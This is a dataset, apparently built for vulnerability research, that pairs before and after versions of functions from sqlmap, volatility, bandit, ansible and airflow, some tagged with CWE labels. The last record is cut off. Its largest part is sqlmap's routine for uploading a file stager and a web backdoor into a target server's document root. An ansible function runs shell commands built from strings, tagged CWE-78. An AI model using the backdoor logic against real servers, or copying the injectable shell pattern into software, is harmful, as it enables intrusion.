        stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, ""stager.%s_"" % self.webApi))

        warned = set()
        success = False

        for i in xrange(len(kb.docRoot)):
            if success:
                break

            for j in xrange(len(directories)):
                docRoot = kb.docRoot[i]
                directory = directories[j]
                uriPath = """"

                if not all(isinstance(item, basestring) for item in [docRoot, directory]):
                    continue

                directory = ntToPosixSlashes(normalizePath(directory)).replace(""//"", ""/"").rstrip('/')
                docRoot = ntToPosixSlashes(normalizePath(docRoot)).replace(""//"", ""/"").rstrip('/')

                # '' or '/' -> 'docRoot'
                if not directory:
                    localPath = docRoot
                    uriPath = '/'
                # 'dir1/dir2/dir3' -> 'docRoot/dir1/dir2/dir3'
                elif not isWindowsDriveLetterPath(directory) and directory[0] != '/':
                    localPath = ""%s/%s"" % (docRoot, directory)
                    uriPath = ""/%s"" % directory
                else:
                    localPath = directory
                    uriPath = directory[2:] if isWindowsDriveLetterPath(directory) else directory
                    docRoot = docRoot[2:] if isWindowsDriveLetterPath(docRoot) else docRoot
                    if docRoot in uriPath:
                        uriPath = uriPath.replace(docRoot, ""/"")
                        uriPath = ""/%s"" % normalizePath(uriPath)
                    else:
                        webDir = extractRegexResult(r""//[^/]+?/(?P<result>.*)/."", conf.url)
                        if webDir:
                            uriPath = ""/%s"" % webDir
                        else:
                            continue

                localPath = posixpath.normpath(localPath).rstrip('/')
                uriPath = posixpath.normpath(uriPath).rstrip('/')

                # Upload the file stager
                self.__webFileInject(stagerContent, stagerName, localPath)

                self.webBaseUrl = ""%s://%s:%d%s"" % (conf.scheme, conf.hostname, conf.port, uriPath)
                self.webStagerUrl = ""%s/%s"" % (self.webBaseUrl, stagerName)

                uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)

                uplPage = uplPage or """"

                if ""sqlmap file uploader"" not in uplPage:
                    if localPath not in warned:
                        warnMsg = ""unable to upload the file stager ""
                        warnMsg += ""on '%s'"" % localPath
                        logger.warn(warnMsg)
                        warned.add(localPath)
                    continue

                elif ""<%"" in uplPage or ""<?"" in uplPage:
                    warnMsg = ""file stager uploaded ""
                    warnMsg += ""on '%s' but not dynamically interpreted"" % localPath
                    logger.warn(warnMsg)
                    continue

                elif self.webApi == ""aspx"":
                    kb.data.__EVENTVALIDATION = extractRegexResult(r""__EVENTVALIDATION[^>]+value=\""(?P<result>[^\""]+)\"""", uplPage, re.I)
                    kb.data.__VIEWSTATE = extractRegexResult(r""__VIEWSTATE[^>]+value=\""(?P<result>[^\""]+)\"""", uplPage, re.I)

                infoMsg = ""the file stager has been successfully uploaded ""
                infoMsg += ""on '%s' - %s"" % (localPath, self.webStagerUrl)
                logger.info(infoMsg)

                if self.webApi == ""asp"":
                    runcmdName = ""tmpe%s.exe"" % randomStr(lowercase=True)
                    runcmdStream = decloakToNamedTemporaryFile(os.path.join(paths.SQLMAP_SHELL_PATH, 'runcmd.exe_'), runcmdName)
                    match = re.search(r'input type=hidden name=scriptsdir value=""([^""]+)""', uplPage)

                    if match:
                        backdoorDirectory = match.group(1)
                    else:
                        continue

                    backdoorContent = originalBackdoorContent.replace(""WRITABLE_DIR"", backdoorDirectory).replace(""RUNCMD_EXE"", runcmdName)
                    backdoorStream.file.truncate()
                    backdoorStream.read()
                    backdoorStream.seek(0)
                    backdoorStream.write(backdoorContent)

                    if self.__webFileStreamUpload(backdoorStream, backdoorName, backdoorDirectory):
                        self.__webFileStreamUpload(runcmdStream, runcmdName, backdoorDirectory)
                        self.webBackdoorUrl = ""%s/Scripts/%s"" % (self.webBaseUrl, backdoorName)
                        self.webDirectory = backdoorDirectory
                    else:
                        continue

                else:
                    if not self.__webFileStreamUpload(backdoorStream, backdoorName, posixToNtSlashes(localPath) if Backend.isOs(OS.WINDOWS) else localPath):
                        warnMsg = ""backdoor has not been successfully uploaded ""
                        warnMsg += ""through the file stager possibly because ""
                        warnMsg += ""the user running the web server process ""
                        warnMsg += ""has not write privileges over the folder ""
                        warnMsg += ""where the user running the DBMS process ""
                        warnMsg += ""was able to upload the file stager or ""
                        warnMsg += ""because the DBMS and web server sit on ""
                        warnMsg += ""different servers""
                        logger.warn(warnMsg)

                        message = ""do you want to try the same method used ""
                        message += ""for the file stager? [Y/n] ""
                        getOutput = readInput(message, default=""Y"")

                        if getOutput in (""y"", ""Y""):
                            self.__webFileInject(backdoorContent, backdoorName, localPath)
                        else:
                            continue

                    self.webBackdoorUrl = ""%s/%s"" % (self.webBaseUrl, backdoorName)
                    self.webDirectory = localPath

                infoMsg = ""the backdoor has probably been successfully ""
                infoMsg += ""uploaded on '%s' - "" % self.webDirectory
                infoMsg += self.webBackdoorUrl
                logger.info(infoMsg)

                success = True

                break",,sqlmapproject/sqlmap,ba5eff1de6129abd3d6ab73863b16d44924d76e4,"def webInit(self):
        """"""
        This method is used to write a web backdoor (agent) on a writable
        remote directory within the web server document root.
        """"""

        if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None:
            return

        self.checkDbmsOs()

        infoMsg = ""trying to upload the file stager""
        logger.info(infoMsg)

        default = None
        choices = ['asp', 'aspx', 'php', 'jsp']

        for ext in choices:
            if conf.url.endswith(ext):
                default = ext
                break

        if not default:
            if Backend.isOs(OS.WINDOWS):
                default = ""asp""
            else:
                default = ""php""

        message = ""which web application language does the web server ""
        message += ""support?\n""

        for count in xrange(len(choices)):
            ext = choices[count]
            message += ""[%d] %s%s\n"" % (count + 1, ext.upper(), ("" (default)"" if default == ext else """"))

            if default == ext:
                default = count + 1

        message = message[:-1]

        while True:
            choice = readInput(message, default=str(default))

            if not choice.isdigit():
                logger.warn(""invalid value, only digits are allowed"")

            elif int(choice) < 1 or int(choice) > len(choices):
                logger.warn(""invalid value, it must be between 1 and %d"" % len(choices))

            else:
                self.webApi = choices[int(choice) - 1]
                break

        kb.docRoot = getDocRoot()
        directories = getDirs()
        directories = list(directories)
        directories.sort()

        backdoorName = ""tmpb%s.%s"" % (randomStr(lowercase=True), self.webApi)
        backdoorStream = decloakToNamedTemporaryFile(os.path.join(paths.SQLMAP_SHELL_PATH, ""backdoor.%s_"" % self.webApi), backdoorName)
        originalBackdoorContent = backdoorContent = backdoorStream.read()

        stagerName = ""tmpu%s.%s"" % (randomStr(lowercase=True), self.webApi)
        stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, ""stager.%s_"" % self.webApi))

        warned = set()
        success = False

        for i in xrange(len(kb.docRoot)):
            if success:
                break

            for j in xrange(len(directories)):
                docRoot = kb.docRoot[i]
                directory = directories[j]
                uriPath = """"

                if not all(isinstance(item, basestring) for item in [docRoot, directory]):
                    continue

                directory = ntToPosixSlashes(normalizePath(directory)).replace(""//"", ""/"").rstrip('/')
                docRoot = ntToPosixSlashes(normalizePath(docRoot)).replace(""//"", ""/"").rstrip('/')

                # '' or '/' -> 'docRoot'
                if not directory:
                    localPath = docRoot
                    uriPath = '/'
                # 'dir1/dir2/dir3' -> 'docRoot/dir1/dir2/dir3'
                elif not isWindowsDriveLetterPath(directory) and directory[0] != '/':
                    localPath = ""%s/%s"" % (docRoot, directory)
                    uriPath = ""/%s"" % directory
                else:
                    localPath = directory
                    uriPath = directory[2:] if isWindowsDriveLetterPath(directory) else directory
                    docRoot = docRoot[2:] if isWindowsDriveLetterPath(docRoot) else docRoot
                    if docRoot in uriPath:
                        uriPath = uriPath.replace(docRoot, ""/"")
                        uriPath = ""/%s"" % normalizePath(uriPath)
                    else:
                        webDir = extractRegexResult(r""//[^/]+?/(?P<result>.*)/."", conf.url)
                        if webDir:
                            uriPath = ""/%s"" % webDir
                        else:
                            continue

                localPath = posixpath.normpath(localPath).rstrip('/')
                uriPath = posixpath.normpath(uriPath).rstrip('/')

                # Upload the file stager
                self.__webFileInject(stagerContent, stagerName, localPath)

                self.webBaseUrl = ""%s://%s:%d%s"" % (conf.scheme, conf.hostname, conf.port, uriPath)
                self.webStagerUrl = ""%s/%s"" % (self.webBaseUrl, stagerName)

                uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)

                if ""sqlmap file uploader"" not in uplPage:
                    if localPath not in warned:
                        warnMsg = ""unable to upload the file stager ""
                        warnMsg += ""on '%s'"" % localPath
                        logger.warn(warnMsg)
                        warned.add(localPath)
                    continue

                elif ""<%"" in uplPage or ""<?"" in uplPage:
                    warnMsg = ""file stager uploaded ""
                    warnMsg += ""on '%s' but not dynamically interpreted"" % localPath
                    logger.warn(warnMsg)
                    continue

                elif self.webApi == ""aspx"":
                    kb.data.__EVENTVALIDATION = extractRegexResult(r""__EVENTVALIDATION[^>]+value=\""(?P<result>[^\""]+)\"""", uplPage, re.I)
                    kb.data.__VIEWSTATE = extractRegexResult(r""__VIEWSTATE[^>]+value=\""(?P<result>[^\""]+)\"""", uplPage, re.I)

                infoMsg = ""the file stager has been successfully uploaded ""
                infoMsg += ""on '%s' - %s"" % (localPath, self.webStagerUrl)
                logger.info(infoMsg)

                if self.webApi == ""asp"":
                    runcmdName = ""tmpe%s.exe"" % randomStr(lowercase=True)
                    runcmdStream = decloakToNamedTemporaryFile(os.path.join(paths.SQLMAP_SHELL_PATH, 'runcmd.exe_'), runcmdName)
                    match = re.search(r'input type=hidden name=scriptsdir value=""([^""]+)""', uplPage)

                    if match:
                        backdoorDirectory = match.group(1)
                    else:
                        continue

                    backdoorContent = originalBackdoorContent.replace(""WRITABLE_DIR"", backdoorDirectory).replace(""RUNCMD_EXE"", runcmdName)
                    backdoorStream.file.truncate()
                    backdoorStream.read()
                    backdoorStream.seek(0)
                    backdoorStream.write(backdoorContent)

                    if self.__webFileStreamUpload(backdoorStream, backdoorName, backdoorDirectory):
                        self.__webFileStreamUpload(runcmdStream, runcmdName, backdoorDirectory)
                        self.webBackdoorUrl = ""%s/Scripts/%s"" % (self.webBaseUrl, backdoorName)
                        self.webDirectory = backdoorDirectory
                    else:
                        continue

                else:
                    if not self.__webFileStreamUpload(backdoorStream, backdoorName, posixToNtSlashes(localPath) if Backend.isOs(OS.WINDOWS) else localPath):
                        warnMsg = ""backdoor has not been successfully uploaded ""
                        warnMsg += ""through the file stager possibly because ""
                        warnMsg += ""the user running the web server process ""
                        warnMsg += ""has not write privileges over the folder ""
                        warnMsg += ""where the user running the DBMS process ""
                        warnMsg += ""was able to upload the file stager or ""
                        warnMsg += ""because the DBMS and web server sit on ""
                        warnMsg += ""different servers""
                        logger.warn(warnMsg)

                        message = ""do you want to try the same method used ""
                        message += ""for the file stager? [Y/n] ""
                        getOutput = readInput(message, default=""Y"")

                        if getOutput in (""y"", ""Y""):
                            self.__webFileInject(backdoorContent, backdoorName, localPath)
                        else:
                            continue

                    self.webBackdoorUrl = ""%s/%s"" % (self.webBaseUrl, backdoorName)
                    self.webDirectory = localPath

                infoMsg = ""the backdoor has probably been successfully ""
                infoMsg += ""uploaded on '%s' - "" % self.webDirectory
                infoMsg += self.webBackdoorUrl
                logger.info(infoMsg)

                success = True

                break"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/raw2dmp.py,0,"def calculate(self):

        blocksize = self._config.BLOCKSIZE
        self._config.WRITE = True
        pspace = utils.load_as(self._config, astype = 'physical')
        vspace = utils.load_as(self._config)

        memory_model = pspace.profile.metadata.get('memory_model', '32bit')

        if memory_model == ""64bit"":
            header_format = '_DMP_HEADER64'
        else:
            header_format = '_DMP_HEADER'

        headerlen = pspace.profile.get_obj_size(header_format)
        headerspace = addrspace.BufferAddressSpace(self._config, 0, ""PAGE"" * (headerlen / 4))
        header = obj.Object(header_format, offset = 0, vm = headerspace)

        kuser = obj.Object(""_KUSER_SHARED_DATA"",
                          offset = obj.VolMagic(vspace).KUSER_SHARED_DATA.v(),
                          vm = vspace)
        kdbg = obj.VolMagic(vspace).KDBG.v()

        # Scanning the memory region near KDDEBUGGER_DATA64 for 
        # DBGKD_GET_VERSION64
        dbgkd = kdbg.dbgkd_version64()

        # Set the correct file magic
        for i in range(len(""PAGE"")):
            header.Signature[i] = [ ord(x) for x in ""PAGE""][i]

        # Write the KeDebuggerDataBlock and ValidDump headers
        dumptext = ""DUMP""
        header.KdDebuggerDataBlock = kdbg.obj_offset
        if memory_model == ""64bit"":
            dumptext = ""DU64""
            header.KdDebuggerDataBlock = kdbg.obj_offset | 0xFFFF000000000000
        for i in range(len(dumptext)):
            header.ValidDump[i] = ord(dumptext[i])

        # The PaeEnabled member is essential for x86 crash files
        if memory_model == ""32bit"":
            if hasattr(vspace, ""pae"") and vspace.pae == True:
                header.PaeEnabled = 0x1
            else:
                header.PaeEnabled = 0x0

        # Set members of the crash header
        header.MajorVersion = dbgkd.MajorVersion
        header.MinorVersion = dbgkd.MinorVersion
        header.DirectoryTableBase = vspace.dtb
        header.PfnDataBase = kdbg.MmPfnDatabase
        header.PsLoadedModuleList = kdbg.PsLoadedModuleList
        header.PsActiveProcessHead = kdbg.PsActiveProcessHead
        header.MachineImageType = dbgkd.MachineType

        # Find the number of processors 
        header.NumberProcessors = len(list(kdbg.kpcrs()))

        # In MS crash dumps, SystemTime will not be set. It will 
        # represent the ""Debug session time:"".  We are 
        # using the member to represent the time the sample was
        # collected. 
        header.SystemTime = kuser.SystemTime.as_windows_timestamp()

        # Zero out the BugCheck members
        header.BugCheckCode = 0x00000000
        header.BugCheckCodeParameter[0] = 0x00000000
        header.BugCheckCodeParameter[1] = 0x00000000
        header.BugCheckCodeParameter[2] = 0x00000000
        header.BugCheckCodeParameter[3] = 0x00000000

        # Set the sample run information. We used to take the sum of the size 
        # of all runs, but that assumed the base layer was raw. In the case 
        # of base layers such as ELF64 core dump or any other run-based address 
        # space that may have holes for device memory, that would fail because
        # any runs after the first hole would then be at the wrong offset.
        last_run = list(pspace.get_available_addresses())[-1]
        num_pages = (last_run[0] + last_run[1]) / 0x1000
            
        header.PhysicalMemoryBlockBuffer.NumberOfRuns = 0x00000001
        header.PhysicalMemoryBlockBuffer.NumberOfPages = num_pages
        header.PhysicalMemoryBlockBuffer.Run[0].BasePage = 0x0000000000000000
        header.PhysicalMemoryBlockBuffer.Run[0].PageCount = num_pages
        header.RequiredDumpSpace = (num_pages + 2) * 0x1000

        # Zero out the remaining non-essential fields
        ContextRecordOffset = headerspace.profile.get_obj_offset(header_format, ""ContextRecord"")
        ExceptionOffset = headerspace.profile.get_obj_offset(header_format, ""Exception"")
        headerspace.write(ContextRecordOffset, ""\x00"" * (ExceptionOffset - ContextRecordOffset))

        # Set the ""converted"" comment
        CommentOffset = headerspace.profile.get_obj_offset(header_format, ""Comment"")
        headerspace.write(CommentOffset, ""File was converted with Volatility"" + ""\x00"")

        # Yield the header
        yield 0, headerspace.read(0, headerlen)
    
        # Write the main body
        for s, l in pspace.get_available_addresses():
            for i in range(s, s + l, blocksize):
                yield i + headerlen, pspace.read(i, min(blocksize, s + l - i))

        # Reset the config so volatility opens the crash dump 
        self._config.LOCATION = ""file://"" + self._config.OUTPUT_IMAGE

        # Crash virtual space 
        crash_vspace = utils.load_as(self._config)

        # The KDBG in the new crash dump
        crash_kdbg = obj.VolMagic(crash_vspace).KDBG.v()

        # The KPCR for the first CPU 
        kpcr = list(crash_kdbg.kpcrs())[0]
        
        # Set the CPU CONTEXT properly for the architecure 
        if memory_model == ""32bit"":
            kpcr.PrcbData.ProcessorState.ContextFrame.SegGs = 0x00
            kpcr.PrcbData.ProcessorState.ContextFrame.SegCs = 0x08
            kpcr.PrcbData.ProcessorState.ContextFrame.SegDs = 0x23
            kpcr.PrcbData.ProcessorState.ContextFrame.SegEs = 0x23
            kpcr.PrcbData.ProcessorState.ContextFrame.SegFs = 0x30
            kpcr.PrcbData.ProcessorState.ContextFrame.SegSs = 0x10
        else:
            kpcr.Prcb.ProcessorState.ContextFrame.SegGs = 0x00
            kpcr.Prcb.ProcessorState.ContextFrame.SegCs = 0x18
            kpcr.Prcb.ProcessorState.ContextFrame.SegDs = 0x2b
            kpcr.Prcb.ProcessorState.ContextFrame.SegEs = 0x2b
            kpcr.Prcb.ProcessorState.ContextFrame.SegFs = 0x53
            kpcr.Prcb.ProcessorState.ContextFrame.SegSs = 0x18",,volatilityfoundation/volatility,dfc6533a39a91429b03c70f10f808d97fdef6c35,"def calculate(self):

        blocksize = self._config.BLOCKSIZE
        self._config.WRITE = True
        pspace = utils.load_as(self._config, astype = 'physical')
        vspace = utils.load_as(self._config)

        memory_model = pspace.profile.metadata.get('memory_model', '32bit')

        if memory_model == ""64bit"":
            header_format = '_DMP_HEADER64'
        else:
            header_format = '_DMP_HEADER'

        headerlen = pspace.profile.get_obj_size(header_format)
        headerspace = addrspace.BufferAddressSpace(self._config, 0, ""PAGE"" * (headerlen / 4))
        header = obj.Object(header_format, offset = 0, vm = headerspace)

        kuser = obj.Object(""_KUSER_SHARED_DATA"",
                          offset = obj.VolMagic(vspace).KUSER_SHARED_DATA.v(),
                          vm = vspace)
        kdbg = obj.Object(""_KDDEBUGGER_DATA64"",
                          offset = obj.VolMagic(vspace).KDBG.v(),
                          vm = vspace)

        # Scanning the memory region near KDDEBUGGER_DATA64 for 
        # DBGKD_GET_VERSION64
        dbgkd = kdbg.dbgkd_version64()

        # Set the correct file magic
        for i in range(len(""PAGE"")):
            header.Signature[i] = [ ord(x) for x in ""PAGE""][i]

        # Write the KeDebuggerDataBlock and ValidDump headers
        dumptext = ""DUMP""
        header.KdDebuggerDataBlock = kdbg.obj_offset
        if memory_model == ""64bit"":
            dumptext = ""DU64""
            header.KdDebuggerDataBlock = kdbg.obj_offset | 0xFFFF000000000000
        for i in range(len(dumptext)):
            header.ValidDump[i] = ord(dumptext[i])

        # The PaeEnabled member is essential for x86 crash files
        if memory_model == ""32bit"":
            if hasattr(vspace, ""pae"") and vspace.pae == True:
                header.PaeEnabled = 0x1
            else:
                header.PaeEnabled = 0x0

        # Set members of the crash header
        header.MajorVersion = dbgkd.MajorVersion
        header.MinorVersion = dbgkd.MinorVersion
        header.DirectoryTableBase = vspace.dtb
        header.PfnDataBase = kdbg.MmPfnDatabase
        header.PsLoadedModuleList = kdbg.PsLoadedModuleList
        header.PsActiveProcessHead = kdbg.PsActiveProcessHead
        header.MachineImageType = dbgkd.MachineType

        # Find the number of processors 
        header.NumberProcessors = len(list(kdbg.kpcrs()))

        # In MS crash dumps, SystemTime will not be set. It will 
        # represent the ""Debug session time:"".  We are 
        # using the member to represent the time the sample was
        # collected. 
        header.SystemTime = kuser.SystemTime.as_windows_timestamp()

        # Zero out the BugCheck members
        header.BugCheckCode = 0x00000000
        header.BugCheckCodeParameter[0] = 0x00000000
        header.BugCheckCodeParameter[1] = 0x00000000
        header.BugCheckCodeParameter[2] = 0x00000000
        header.BugCheckCodeParameter[3] = 0x00000000

        # Set the sample run information. We used to take the sum of the size 
        # of all runs, but that assumed the base layer was raw. In the case 
        # of base layers such as ELF64 core dump or any other run-based address 
        # space that may have holes for device memory, that would fail because
        # any runs after the first hole would then be at the wrong offset.
        last_run = list(pspace.get_available_addresses())[-1]
        num_pages = (last_run[0] + last_run[1]) / 0x1000
            
        header.PhysicalMemoryBlockBuffer.NumberOfRuns = 0x00000001
        header.PhysicalMemoryBlockBuffer.NumberOfPages = num_pages
        header.PhysicalMemoryBlockBuffer.Run[0].BasePage = 0x0000000000000000
        header.PhysicalMemoryBlockBuffer.Run[0].PageCount = num_pages
        header.RequiredDumpSpace = (num_pages + 2) * 0x1000

        # Zero out the remaining non-essential fields
        ContextRecordOffset = headerspace.profile.get_obj_offset(header_format, ""ContextRecord"")
        ExceptionOffset = headerspace.profile.get_obj_offset(header_format, ""Exception"")
        headerspace.write(ContextRecordOffset, ""\x00"" * (ExceptionOffset - ContextRecordOffset))

        # Set the ""converted"" comment
        CommentOffset = headerspace.profile.get_obj_offset(header_format, ""Comment"")
        headerspace.write(CommentOffset, ""File was converted with Volatility"" + ""\x00"")

        # Yield the header
        yield 0, headerspace.read(0, headerlen)
    
        # Write the main body
        for s, l in pspace.get_available_addresses():
            for i in range(s, s + l, blocksize):
                yield i + headerlen, pspace.read(i, min(blocksize, s + l - i))

        # Reset the config so volatility opens the crash dump 
        self._config.LOCATION = ""file://"" + self._config.OUTPUT_IMAGE

        # Crash virtual space 
        crash_vspace = utils.load_as(self._config)

        # The KDBG in the new crash dump
        crash_kdbg = obj.Object(""_KDDEBUGGER_DATA64"",
                          offset = obj.VolMagic(crash_vspace).KDBG.v(),
                          vm = crash_vspace)

        # The KPCR for the first CPU 
        kpcr = list(crash_kdbg.kpcrs())[0]
        
        # Set the CPU CONTEXT properly for the architecure 
        if memory_model == ""32bit"":
            kpcr.PrcbData.ProcessorState.ContextFrame.SegGs = 0x00
            kpcr.PrcbData.ProcessorState.ContextFrame.SegCs = 0x08
            kpcr.PrcbData.ProcessorState.ContextFrame.SegDs = 0x23
            kpcr.PrcbData.ProcessorState.ContextFrame.SegEs = 0x23
            kpcr.PrcbData.ProcessorState.ContextFrame.SegFs = 0x30
            kpcr.PrcbData.ProcessorState.ContextFrame.SegSs = 0x10
        else:
            kpcr.Prcb.ProcessorState.ContextFrame.SegGs = 0x00
            kpcr.Prcb.ProcessorState.ContextFrame.SegCs = 0x18
            kpcr.Prcb.ProcessorState.ContextFrame.SegDs = 0x2b
            kpcr.Prcb.ProcessorState.ContextFrame.SegEs = 0x2b
            kpcr.Prcb.ProcessorState.ContextFrame.SegFs = 0x53
            kpcr.Prcb.ProcessorState.ContextFrame.SegSs = 0x18"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,bandit/core/test_set.py,0,"def _load_builtins(self, filtering, profile):
        '''loads up builtin functions, so they can be filtered.'''

        class Wrapper:
            def __init__(self, name, plugin):
                self.name = name
                self.plugin = plugin

        results = []

        if 'B001' in filtering:
            extman = extension_loader.MANAGER
            blacklist = profile.get('blacklist')
            if not blacklist:  # not overridden by legacy data
                blacklist = {}
                for node, tests in six.iteritems(extman.blacklist):
                    values = [t for t in tests if t['id'] in filtering]
                    if values:
                        blacklist[node] = values

            # this dresses up the blacklist to look like a plugin, but
            # the '_checks' data comes from the blacklist information.
            # the '_config' is the filtered blacklist data set.
            setattr(blacklisting.blacklist, ""_test_id"", 'B001')
            setattr(blacklisting.blacklist, ""_checks"", blacklist.keys())
            setattr(blacklisting.blacklist, ""_config"", blacklist)
            results.append(Wrapper('blacklist', blacklisting.blacklist))

        return results",UNKNOWN,PyCQA/bandit,9d77f75e7823dc5b92c44c2d7af3a586183d0e80,"def _load_builtins(self, filtering, profile):
        '''loads up builtin functions, so they can be filtered.'''

        class Wrapper:
            def __init__(self, name, plugin):
                self.name = name
                self.plugin = plugin

        results = []

        if 'B001' in filtering:
            extman = extension_loader.MANAGER
            blacklist = profile.get('blacklist')
            if not blacklist:  # not overriden by legacy data
                blacklist = {}
                for node, tests in six.iteritems(extman.blacklist):
                    values = [t for t in tests if t['id'] in filtering]
                    if values:
                        blacklist[node] = values

            # this dresses up the blacklist to look like a plugin, but
            # the '_checks' data comes from the blacklist information.
            # the '_config' is the filtered blacklist data set.
            setattr(blacklisting.blacklist, ""_test_id"", 'B001')
            setattr(blacklisting.blacklist, ""_checks"", blacklist.keys())
            setattr(blacklisting.blacklist, ""_config"", blacklist)
            results.append(Wrapper('blacklist', blacklisting.blacklist))

        return results"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/mac/check_sysctl.py,0,"def _process_sysctl_list(self, sysctl_list, i, r = 0):
        if type(sysctl_list) == obj.Pointer:
            sysctl_list = obj.Object(""sysctl_oid_list"", offset = sysctl_list.dereference(), vm = self.addr_space)

        sysctl = sysctl_list.slh_first
        
        # skip the head entry if new list (recursive call)
        if r:
            sysctl = sysctl.oid_link.sle_next

        while sysctl and sysctl.is_valid():
            spaces = "" "" * i

            name = common.get_string(sysctl.oid_name, self.addr_space)

            if len(name) == 0:
                #sysctl = sysctl.oid_link.sle_next
                break

            num = sysctl.oid_number

            perms = self._get_perms(sysctl)

            handler = sysctl.oid_handler

            #define CTLTYPE_NODE    1
            #define CTLTYPE_INT     2       /* name describes an integer */
            #define CTLTYPE_STRING  3       /* name describes a string */
            #define CTLTYPE_QUAD    4       /* name describes a 64-bit number */
            #define CTLTYPE_OPAQUE  5       /* name describes a structure */
            #define CTLTYPE_STRUCT  CTLTYPE_OPAQUE  /* name describes a structure */
            
            ctltype = sysctl.oid_kind & 0xf

            if sysctl.oid_arg1 == 0 or not sysctl.oid_arg1.is_valid():
                val = """"
            elif ctltype == 1:
                if handler == 0:
                    for info in self._process_sysctl_list(sysctl.oid_arg1, i + 2, r = 1):
                        yield info 
                val = ""Node""
            elif ctltype == 2:
                val = sysctl.oid_arg1.dereference()
            elif ctltype == 3:
                val = common.get_string(sysctl.oid_arg1, self.addr_space)
            elif ctltype == 4:
                val = sysctl.oid_arg1.dereference()
            elif ctltype == 5:
                val = sysctl.oid_arg1.dereference()
            else:
                val = ""<UNKNOWN VALUE FOR CTLTYPE {0}>"".format(ctltype)

            yield (sysctl, spaces, name, num, perms, handler, val)

            sysctl = sysctl.oid_link.sle_next",,volatilityfoundation/volatility,f60a4574bf73e72880a94ee82f36ceb7bf8a1c3c,"def _process_sysctl_list(self, sysctl_list, i, r = 0):
        if type(sysctl_list) == obj.Pointer:
            sysctl_list = obj.Object(""sysctl_oid_list"", offset = sysctl_list.dereference(), vm = self.addr_space)

        sysctl = sysctl_list.slh_first
        
        # skip the head entry if new list (recursive call)
        if r:
            sysctl = sysctl = sysctl.oid_link.sle_next

        while sysctl and sysctl.is_valid():
            spaces = "" "" * i

            name = common.get_string(sysctl.oid_name, self.addr_space)

            if len(name) == 0:
                #sysctl = sysctl.oid_link.sle_next
                break

            num  = sysctl.oid_number

            perms = self._get_perms(sysctl)

            handler = sysctl.oid_handler


            #define CTLTYPE_NODE    1
            #define CTLTYPE_INT     2       /* name describes an integer */
            #define CTLTYPE_STRING  3       /* name describes a string */
            #define CTLTYPE_QUAD    4       /* name describes a 64-bit number */
            #define CTLTYPE_OPAQUE  5       /* name describes a structure */
            #define CTLTYPE_STRUCT  CTLTYPE_OPAQUE  /* name describes a structure */
            
            ctltype = sysctl.oid_kind & 0xf

            if sysctl.oid_arg1 == 0 or not sysctl.oid_arg1.is_valid():
                val = """"
            elif ctltype == 1:
                if handler == 0:
                    for info in self._process_sysctl_list(sysctl.oid_arg1, i + 2, r = 1):
                        yield info 
                val = ""Node""
            elif ctltype == 2:
                val = sysctl.oid_arg1.dereference()
            elif ctltype == 3:
                val = common.get_string(sysctl.oid_arg1, self.addr_space)
            elif ctltype == 4:
                val = sysctl.oid_arg1.dereference()
            elif ctltype == 5:
                val = sysctl.oid_arg1.dereference()
            else:
                val = ""<UNKNOWN VALUE FOR CTLTYPE %d>"" % ctltype 

            yield (sysctl, spaces, name, num, perms, handler, val)

            sysctl = sysctl.oid_link.sle_next"
,UNKNOWN,UNKNOWN,lib/ansible/runner/connection_plugins/local.py,1,"def exec_command(self, cmd, tmp_path, sudo_user, sudoable=False):
        ''' run a command on the local host '''

        if self.runner.sudo and sudoable:
            if self.runner.sudo_pass:
                # NOTE: if someone wants to add sudo w/ password to the local connection type, they are welcome
                # to do so.  The primary usage of the local connection is for crontab and kickstart usage however
                # so this doesn't seem to be a huge priority
                raise errors.AnsibleError(""sudo with password is presently only supported on the 'paramiko' (SSH) and native 'ssh' connection types"")
            cmd = ""sudo -u {0} -s {1}"".format(sudo_user, cmd)

        vvv(""EXEC %s"" % cmd, host=self.host)
        basedir = self.runner.basedir
        p = subprocess.Popen(cmd, cwd=basedir, shell=True, stdin=None,
                             stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        stdout, stderr = p.communicate()
        return (p.returncode, '', stdout, stderr)",CWE-78,ansible/ansible,988db558b30114bb6e2ff7e4fb7dfaacb6375ba3,"def exec_command(self, cmd, tmp_path, sudo_user, sudoable=False):
        ''' run a command on the local host '''

        if self.runner.sudo and sudoable:
            if self.runner.sudo_pass:
                # NOTE: if someone wants to add sudo w/ password to the local connection type, they are welcome
                # to do so.  The primary usage of the local connection is for crontab and kickstart usage however
                # so this doesn't seem to be a huge priority
                raise errors.AnsibleError(""sudo with password is presently only supported on the 'paramiko' (SSH) and native 'ssh' connection types"")
            cmd = ""sudo -u {0} -s {1}"".format(sudo_user, cmd)

        vvv(""EXEC %s"" % cmd, host=self.host)
        basedir = self.runner.basedir
        p = subprocess.Popen(cmd, cwd=basedir, shell=True, stdin=None,
                             stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        stdout, stderr = p.communicate()
        return ("""", stdout, stderr)"
,UNKNOWN,UNKNOWN,tests/providers/databricks/operators/test_databricks.py,1,"def test_init_with_git_source(self):
        json = {'new_cluster': NEW_CLUSTER, 'notebook_task': NOTEBOOK_TASK, 'run_name': RUN_NAME}
        git_source = {
            'git_url': 'https://github.com/apache/airflow',
            'git_provider': 'github',
            'git_branch': 'main',
        }
        op = DatabricksSubmitRunOperator(task_id=TASK_ID, git_source=git_source, json=json)
        expected = utils.deep_string_coerce(
            {
                'new_cluster': NEW_CLUSTER,
                'notebook_task': NOTEBOOK_TASK,
                'run_name': RUN_NAME,
                'git_source': git_source,
            }
        )
        assert expected == op.json",CWE-703,apache/airflow,a8445657996f52b3ac5ce40a535d9c397c204d36,"def test_init_with_git_source(self):
        json = {'new_cluster': NEW_CLUSTER, 'notebook_task': NOTEBOOK_TASK, 'run_name': RUN_NAME}
        git_source = {
            'git_url': 'https://github.com/apache/airflow',
            'git_provider': 'github',
            'git_branch': 'main',
        }
        op = DatabricksSubmitRunOperator(task_id=TASK_ID, git_source=git_source, json=json)
        expected = databricks_operator._deep_string_coerce(
            {
                'new_cluster': NEW_CLUSTER,
                'notebook_task': NOTEBOOK_TASK,
                'run_name': RUN_NAME,
